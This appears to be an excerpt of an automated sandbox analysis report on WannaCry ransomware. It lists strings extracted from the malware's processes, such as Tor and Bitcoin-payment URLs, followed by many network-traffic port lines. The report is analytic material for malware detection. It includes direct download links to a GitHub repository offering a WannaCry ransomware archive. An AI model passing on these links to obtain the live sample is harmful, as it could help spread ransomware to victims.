00000068.00000002.1541702331.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006B.00000002.1543186279.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006D.00000002.1544404210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1545763104.0000000000421000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000004B.00000002.1530960305.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000050.00000002.1524452290.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000052.00000002.1525784125.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000053.00000002.1526743183.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000056.00000002.1528095321.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000058.00000002.1529684373.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1530691676.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005E.00000002.1531940210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1533260086.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000061.00000002.1534786645.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000062.00000002.1536847189.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000064.00000002.1537704878.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1539090441.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000067.00000002.1540280888.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1541702331.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006B.00000002.1543186279.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006D.00000002.1544404210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1545763104.0000000000421000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
Source: @WanaDecryptor@.exe, 00000045.00000003.1539251778.00000000028B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: chromecache_814.1.dr	String found in binary or memory: https://api.github.com/_private/browser/errors
Source: chromecache_814.1.dr	String found in binary or memory: https://api.github.com/_private/browser/stats
Source: chromecache_814.1.dr	String found in binary or memory: https://avatars.githubusercontent.com
Source: chromecache_814.1.dr	String found in binary or memory: https://avatars.githubusercontent.com/u/19915931?v=4
Source: @WanaDecryptor@.exe, 00000045.00000003.1539553722.00000000029B5000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
Source: @WanaDecryptor@.exe, 00000045.00000003.1539553722.00000000029B5000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayError
Source: chromecache_814.1.dr	String found in binary or memory: https://collector.github.com/github/collect
Source: chromecache_814.1.dr	String found in binary or memory: https://desktop.github.com
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1930805946.0000000002516000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004B.00000002.1530917323.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: @WanaDecryptor@.exe, 0000004B.00000002.1530917323.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
Source: chromecache_814.1.dr	String found in binary or memory: https://docs.github.com
Source: chromecache_814.1.dr	String found in binary or memory: https://docs.github.com/
Source: chromecache_814.1.dr	String found in binary or memory: https://docs.github.com/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-
Source: chromecache_814.1.dr	String found in binary or memory: https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
Source: chromecache_814.1.dr	String found in binary or memory: https://docs.github.com/site-policy/github-terms/github-terms-of-service
Source: chromecache_814.1.dr	String found in binary or memory: https://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Source: chromecache_814.1.dr	String found in binary or memory: https://education.github.com
Source: chromecache_814.1.dr	String found in binary or memory: https://github-cloud.s3.amazonaws.com
Source: chromecache_814.1.dr	String found in binary or memory: https://github.blog
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com/
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0.git
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip"
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip?raw=true
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zip
Source: chromecache_814.1.dr	String found in binary or memory: https://github.com/notifications/beta/shelf
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_as
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_m
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_g
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-94209c43
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.j
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_react-shared_hooks_use-canonical-object_ts
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/behaviors-4e25e265ef84.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/code-ad2fce00d003.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/code-menu-614feb194539.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/dark-a167e256da9c.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/dark_dimmed-d11f2cf8009b.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/dark_high_contrast-ea7373db06c8.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/dark_tritanopia-9b32204967c6.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/element-registry-fb4b8d40f206.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/environment-27057bd9ed0b.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/github-19c85be4af9c.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/github-elements-369bd99876f6.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/global-c2f8efb9bce8.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/keyboard-shortcuts-dialog-20a011926f27.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/light-0eace2597ca3.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/light_colorblind-af6c685139ba.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/light_high_contrast-578cdbc8a5a9.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/notifications-global-352d84c6cc82.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/primer-f3607eccaaae.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/primer-primitives-366b5c973fad.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/react-code-view-c04a0c63417c.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/react-code-view.959fb0b61e6a1de773e7.module.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/react-lib-1fbfc5be2c18.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/repository-6247ca238fd4.css
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/sessions-694c8423e347.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-ch
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-5bd9ba639cc0.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_paths_index_ts-ea3e1b2a33c6.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_register-app_ts-3208e4c5b7c1.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_ref-selector_RefSelector_tsx-dbbdef4348e2.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-72c9fbde5ad4.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-6890e890956f.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_module
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_m
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_inde
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c9
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionMenu_ActionMe
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-no
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-d5
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_j
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_js-node_modu
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormCon
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayo
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_m
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_j
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d5
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parse
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/assets/wp-runtime-5afb085e74be.js
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/favicons/favicon.png
Source: chromecache_814.1.dr	String found in binary or memory: https://github.githubassets.com/favicons/favicon.svg
Source: chromecache_814.1.dr	String found in binary or memory: https://partner.github.com/
Source: chromecache_814.1.dr	String found in binary or memory: https://resources.github.com/
Source: chromecache_814.1.dr	String found in binary or memory: https://resources.github.com/devops/fundamentals/devsecops/
Source: chromecache_814.1.dr	String found in binary or memory: https://resources.github.com/learn/pathways/
Source: taskhsvc.exe, 00000069.00000003.1618263707.0000000004000000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000003.1645310857.0000000003DE7000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000003.1627606704.0000000004294000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000003.1615249805.0000000003EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sabotage.net
Source: chromecache_814.1.dr	String found in binary or memory: https://skills.github.com/
Source: chromecache_814.1.dr	String found in binary or memory: https://support.github.com?tags=dotcom-footer
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://trac.torproject.org/8742
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: chromecache_814.1.dr	String found in binary or memory: https://user-images.githubusercontent.com/
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS
Source: chromecache_814.1.dr	String found in binary or memory: https://www.githubstatus.com/
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000004B.00000002.1530960305.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000050.00000002.1524452290.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000052.00000002.1525784125.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000053.00000002.1526743183.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000056.00000002.1528095321.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000058.00000002.1529684373.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1530691676.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005E.00000002.1531940210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1533260086.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000061.00000002.1534786645.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000062.00000002.1536847189.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000064.00000002.1537704878.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1539090441.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000067.00000002.1540280888.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1541702331.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006B.00000002.1543186279.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006D.00000002.1544404210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1545763104.0000000000421000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.google.com/search?q=how
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://www.torproject.org/
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://www.torproject.org/docs/faq.html#BestOSForRelay
Source: taskhsvc.exe.69.dr	String found in binary or memory: https://www.torproject.org/documentation.html
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://www.torproject.org/download/download#warning
Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: https://www.torproject.org/download/download#warningalphabetaThis

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
